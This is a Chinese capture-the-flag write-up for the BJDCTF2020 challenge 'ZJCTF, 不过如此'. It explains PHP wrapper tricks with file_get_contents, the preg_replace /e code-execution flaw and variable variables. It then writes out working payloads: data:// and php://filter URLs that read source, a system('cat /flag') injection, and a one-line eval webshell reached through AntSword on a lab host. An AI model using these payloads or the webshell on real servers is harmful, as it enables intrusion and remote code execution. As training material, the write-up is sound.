[刷题记录][伪协议绕过 & 正则匹配任意执行漏洞]ZJCTF,不过如此 [BJDCTF2020]

[BJDCTF2020]ZJCTF,不过如此

前置知识

file_get_contents 伪协议绕过

对于 file_get_contents() 函数索要包含的文件内容,不一定只有文件名。还可以可以利用 php 伪协议,链接等进行包含,从而达到包含(写入)自己所需内容的目的

补充一点:伪协议也可以用于读取文件

preg_replace 函数 /e 模式任意代码执行漏洞

preg_replace() 函数原型:

preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

/e 修正符使 preg_replace()将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

例子

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)

关于正则匹配的一些修饰符

1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。

后面的 \\1 实际上就是指 \1,数字几就代表第几个捕获组,\ 谁,就匹配第几个。

在 php 中,双引号里面如果包含有变量,php 解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

所以,preg_replace \e 模式如果 replacement 中是双引号的,那有此代码任意执行漏洞

php 可变变量

在 php 中有时候使用可变变量名是很方便的。就是说,一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置,例如:

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:

<?php
$$a = 'world';
?>

这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:

<?php
echo "$a ${$a}";
?>

与以下语句输出完全相同的结果:

<?php
echo "$a $hello";
?>

在本题中,需要用到的是 ${$a} 这种变量格式


题目
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

上来直接给源码

第一个 file_get_contents 使用伪协议绕过, 同时依据提示读取 next.php 的内容

payload 有以下几种构造方式

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

?????????↓
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
//input的内容由post方法传递

解码结果

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

审计一下可以看出是一个 preg_replace 任意代码执行漏洞

可以开始构造 payload

?\S*=${getFlag()}&cmd=system('cat /flag');

其中,cat 为 linux 命令,故要用 system 函数执行(system 函数内要有双引号)

[\s]--- 表示,只要出现空白就匹配;

[\S]--- 表示,非空白就匹配;

星号 "*" 为量词

常用量词{m,n} 等价形式说明
*{0,}可能出现,也可能不出现,出现次数没有上限
+{1,}至少出现 1 次,出现次数没有上限
?{0,1}至多出现 1 次,也可能不出现

也可借此写入一句话木马

next.php?\S*=${eval($_POST[cmd])}

使用蚁剑连接后获得 flag

ps: 蚁剑连接的时候连接需要把后面的命令也包含进来

http://3365dd73-8650-4c46-a773-a536b0d8b499.node4.buuoj.cn:81/next.php?\S*=${eval($_POST[cmd])}

最近在学习护网相关,好久没刷题了。这个笔记其实是很早以前写的了。
鉴于战队新规颁布了,刚好把以前的笔记存货慢慢搬上来。
刷题容易,做笔记难 (´д`)